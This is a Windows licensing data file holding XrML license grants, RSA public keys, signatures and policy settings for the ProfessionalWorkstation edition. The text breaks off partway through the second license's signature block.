<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{f2879243-e448-427c-9ad3-e72e2ed3cb49}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyStr name="Security-SPP-KmsCountedIdList" attributes="override-only">{58e2134f-8e11-4d17-9cb2-91069c151148}, {d27cd636-1962-44e9-8b4f-27b6c23efb85}, {cb8fc780-2c05-495a-9710-85afffc904d7}, {3c40b358-5948-45af-923b-53d21fcc7e79}, {7fde5219-fbfa-484a-82c9-34d1ad53e856}, {212a64dc-43b1-4d3d-a30c-2fc69d2095c6}, {e1c51358-fe3e-4203-a4a2-3b6b20c9734e}, {6d646890-3606-461a-86ab-598bb84ace82}, {bbb97b3b-8ca4-4a28-9717-89fabd42c4ac}, {cbdcb1ba-e093-4c81-a463-10775291fdf9}, {11B15659-E603-4CF1-9C1F-F0EC01B81888}, {969FE3C0-A3EC-491A-9F25-423605DEB365}</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-GraceTimerUniqueness" attributes="override-only">EditionId</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-ValidityTimerUniqueness" attributes="override-only">EditionId</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{60b3ec1b-9545-4921-821f-311b129dd6f6}"></sl:productIdRange></r:allConditions></r:grant><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId><sl:guid>{55c92734-d682-4d71-983e-d6ec3f16059f}</sl:guid></sl:appId><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>501</sl:priority><sl:policyInt name="Security-SPP-Reserved-NotificationGrantConsumed" attributes="override-only">1</sl:policyInt></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{60b3ec1b-9545-4921-821f-311b129dd6f6}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAADAAAA</sl:data></sl:externalValidator><sl:floatingPeriod xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:duration>P0D</sl:duration><sl:type>msft:sl/grace-period</sl:type></sl:floatingPeriod></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>mgr25FMvqHpyTkEAxloLG+yE30M=</DigestValue></Reference></SignedInfo><SignatureValue>ZCRLlONNllHPrZtldQdBRwA21fDguyP2xq8I9bXw1SEGytwzClXwzCdg3vmqFW8zbenL6WsmNYnRfP37VSlRHASTW0Dc986c75UJMKmj++APtdAYqFwzFqdYYeIItDy4GL5qLZ0SA4Qlg+jZDlYRrDwTUVoAgyCCelOQtiiiYZ22CaeNibflkzRqebPU+V/AcIRNO+AlNNqNQWr/YVQsDUChRk6UdgPbxYK6F2sIr69XGMWr4Ta6k/i9vDjtgBoDqvRL4B4Oy3MuW9lF5BqvN9EpKa2sKYYh5ydd7XSQeV5UBQ7vWihviYaIjeIgyGhwgxLKCpkl7J8ddp/CYIRw+Q==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{60b3ec1b-9545-4921-821f-311b129dd6f6}</tm:infoStr><tm:infoStr name="privateCertificateId">{2f0345bd-d1af-4dfb-8a8e-8901f67c232a}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{71ce6518-3581-46da-948d-083c57061836}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMS_W10 channel</tm:infoStr><tm:infoStr name="PAUrl">https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail</tm:infoStr><tm:infoStr name="ActivationSequence">msft:spp/licenseacquisition/payloadhandler/pa/1.0</tm:infoStr><tm:infoStr name="ValidationTemplateId">{99d92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="ValUrl">https://validation-v2.sls.microsoft.com/SLWGA/slwga.asmx</tm:infoStr><tm:infoStr name="UXDifferentiator">VOLUME_KMS</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="EnableNotificationMode">1</tm:infoStr><tm:infoStr name="GraceTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="ValidityTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="EnableActivationValidation">1</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{2f0345bd-d1af-4dfb-8a8e-8901f67c232a}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>W4siUVL0QqkZRUlsLJL2/CSUsag=</DigestValue></Reference></SignedInfo><SignatureValue>Hje9bYunxfHw+OuvVvUHuky9BjNUQT9LZXcLRld2D3/ZXn5ruzT8oCxg7LDwWOO83pvyTFWw6N393bZqU25zn+6DzHRs4p7ynvvrHWxhlZFBp2NafztKCq9QUIKcYLAIV56SuwsjYTsbvofuMbG17oxoWG2moIHxhSiQCtjT/FirNCxY0lA7eG5ZDOnkvux5QKU1Ww1KFssL3j0VwoHARxQ9cf7/Ygza1X71T7LCnaRncB3nTrIGmH5aOg2/Q6uuTaMijIAz2YQ7cPiLzetovzTeZVbwxpzo7Fq3y9ffOMO6gpwpz1PKdsGRKhBtpSWnhne37A8HmP1LBYLyRifwFQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{f2879243-e448-427c-9ad3-e72e2ed3cb49}</tm:infoStr><tm:infoStr name="productSkuId">{60b3ec1b-9545-4921-821f-311b129dd6f6}</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{2776df19-77ad-4c8e-8de7-fe9f120e0099}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyStr name="Security-SPP-KmsCountedIdList" attributes="override-only">{58e2134f-8e11-4d17-9cb2-91069c151148}, {d27cd636-1962-44e9-8b4f-27b6c23efb85}, {cb8fc780-2c05-495a-9710-85afffc904d7}, {3c40b358-5948-45af-923b-53d21fcc7e79}, {7fde5219-fbfa-484a-82c9-34d1ad53e856}, {212a64dc-43b1-4d3d-a30c-2fc69d2095c6}, {e1c51358-fe3e-4203-a4a2-3b6b20c9734e}, {6d646890-3606-461a-86ab-598bb84ace82}, {bbb97b3b-8ca4-4a28-9717-89fabd42c4ac}, {cbdcb1ba-e093-4c81-a463-10775291fdf9}, {11B15659-E603-4CF1-9C1F-F0EC01B81888}, {969FE3C0-A3EC-491A-9F25-423605DEB365}</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:binding><sl:data Algorithm="msft:rm/algorithm/phone/1.0">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</sl:data></sl:binding></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{60b3ec1b-9545-4921-821f-311b129dd6f6}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature 